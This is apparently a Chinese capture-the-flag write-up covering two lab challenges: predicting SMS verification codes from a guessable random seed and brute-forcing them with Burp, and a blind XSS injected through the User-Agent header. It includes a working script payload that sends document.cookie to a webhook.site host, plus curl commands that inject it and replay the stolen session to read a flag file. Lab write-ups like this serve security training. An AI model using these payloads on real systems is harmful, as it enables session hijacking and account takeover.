1.太牛了,验证码你都能猜到?
该漏洞是指用于初始化验证码生成算法的随机数种子(Seed) 本身是可预测的,或者会通过某种方式泄露给攻击者。伪随机数生成器的特性是:如果两次使用的种子相同,那么它们产生的随机数序列也将完全相同。
因此,一旦种子可被预测或泄露,攻击者就可以在本地使用相同的算法和种子,完整复现出整个验证码序列,从而实现对所有验证码的精确预测,彻底绕过验证码防护。
输入虚拟手机号 18888888888 获取验证码并"手机"上查看验证码

通过题目给的提示 编写python脚本 尝试生成验证码
关键函数如下
def generate_verification_codes(seed, count=1):
设置随机种子
random.seed(seed)
生成指定数量的6位随机数字验证码
codes = \[\]
for _ in range(count):
code = ''.join(str(random.randint(0, 9)) for _ in range(6))
codes.append(code)
return codes
发现生成的验证码与靶场生成的验证码不同
尝试连续生成50个验证码
代码如下
import random
def generate_verification_codes(seed, count=1):
设置随机种子
random.seed(seed)
生成指定数量的6位随机数字验证码
codes = \[\]
for _ in range(count):
code = ''.join(str(random.randint(0, 9)) for _ in range(6))
codes.append(code)
return codes
使用种子888888生成20个验证码
seed_value = 88888888
verification_codes = generate_verification_codes(seed_value, 50)
print(f"基于种子 {seed_value} 生成50个验证码:")
for i, code in enumerate(verification_codes, 1):
print(f"{code}")
发现生成的验证码中包含了靶场生成的验证码
关闭再从新开启靶场,输入其他手机号并发送验证码
打开 Burp Suite、Fiddler 等抓包工具,确保代理设置正确(浏览器 代理指向抓包工具端口,例:<font style="background-color:rgba(0, 0, 0, 0.06);">127.0.0.1:8080</font>),拦截目标网站的 HTTP/HTTPS 请求。 随便输入验证码 抓取登录验证的请求包。
将该请求包发送到Burp的爆破模块并将之前通过脚本生成的50个验证码粘贴到字典中
通过爆破完成登录 获取到flag
发送阶段
验证码发送阶段的核心风险在于其交付渠道的安全性与可靠性存在缺陷。该阶段是验证码离开服务器、抵达用户终端的关键环节,若设计不当,攻击者可在此拦截、窃取或滥用验证码,致使整个验证机制形同虚设。即使验证码本身极为复杂,发送过程的安全漏洞也足以让所有防护功亏一篑。
此阶段主要存在两类问题:一是信息泄露,即验证码明文在HTTP响应、错误信息中暴露,或因未使用HTTPS加密而在传输中被中间人截获;二是逻辑缺陷,表现为发送请求未与用户会话强绑定,导致攻击者可篡改接收目标进行恶意轰炸(DoS),或通过系统反馈枚举已注册用户账号,造成隐私泄露。
2.有一次,我发现原来XSS不只能通过参数攻击
隐雾 -XSS (盲 XSS / 非参数位置 XSS )
题目信息
- 名称:有一次,我发现原来XSS不只能通过参数攻击
- 难度:Level 6
- 标签:XSS、命令执行、隐雾-XSS、XSS实战
- 核心提示:数据包的所有位置都值得你探索一下
解题思路
- 信息收集
- 访问首页,在"开发者日志"新闻中发现接口提示:
ajax?action=get_lines&filename=/tmp/flag.txt&num=1 - 直接访问该接口返回 {"error":"未登录"},需要后台权限
- 突破口
- 普通参数XSS无效(题目名已暗示)
- 需要在 HTTP请求的非参数位置(如 Header)注入 XSS payload
- 后台管理员/Bot 会查看这些请求日志,触发盲XSS
- 攻击流程
|----|-------------------------------------------------------------------|
| 步骤 | 操作 |
| ① | 搭建 XSS 接收平台(webhook.site) |
| ② | 在 User-Agent、Referer、X-Forwarded-For 等 Header 中注入 payload |
| ③ | 等待管理员/Bot 触发,窃取 session cookie |
| ④ | 用获取的 cookie 访问 flag 接口 |
- 成功 Payload 示例
User-Agent: <script>fetch('https://webhook.site/你的ID?c='+document.cookie)</script>

- 获取 Flag
curl -b "session=窃取到的值" "http://靶场地址/ajax?action=get_lines&filename=/tmp/flag.txt&num=1"
注入 XSS Payload(窃取 Cookie)
curl -A "><script>fetch('https://webhook.site/3cb4bad8-b8a3-4470-9124-8fd146e97806?c='+document.cookie)</script>" http://q5hlxnq.haobachang1.loveli.com.cn:8888/admin/login
逐部分解释:
|------------------------------------------------------------------------------------------|---------------------------------|
| 部分 | 含义 |
| curl | 命令行 HTTP 请求工具 |
| -A | 设置 User-Agent 请求头 |
| "><script>fetch(...)</script> | XSS payload,闭合可能的 HTML 属性后执行 JS |
| https://webhook.site/...?c= | 你的 XSS 接收平台地址 |
| +document.cookie | 将当前页面的 cookie 拼接到请求参数中 |
| http://.../admin/login | 目标靶场的后台登录页(管理员会查看日志) |
工作原理:
- 你发送的请求中,User-Agent 被改成了一段 JavaScript 代码
- 靶场后台记录了这个请求(包括 User-Agent)
- 管理员/Bot 查看日志时,这段 JS 在后台浏览器中执行
- JS 将后台的 session cookie 发送到你的 webhook.site
2. 用窃取的 Cookie 读取 Flag
curl -b "session=d3bab80b-a99a-40bb-bf48-0a45d1c6d66a" "http://q5hlxnq.haobachang1.loveli.com.cn:8888/ajax?action=get_lines&filename=/tmp/flag.txt&num=1"
逐部分解释:
|------------------------|----------------------------|
| 部分 | 含义 |
| curl | 命令行 HTTP 请求工具 |
| -b | 设置 Cookie 请求头 |
| session=... | 从 webhook 窃取到的后台 session 值 |
| ajax?action=get_lines | 调用读取文件的接口 |
| filename=/tmp/flag.txt | 要读取的文件路径(flag 位置) |
| num=1 | 读取行数参数 |
工作原理:
- 带上窃取到的 session cookie 冒充管理员
- 访问被保护的 /ajax 接口
- 服务器验证 cookie 有效,返回 flag 内容
- 得到{"result":"flag{9a3824b70c1e47df8ce4cae357f83dd1}\n","success":true}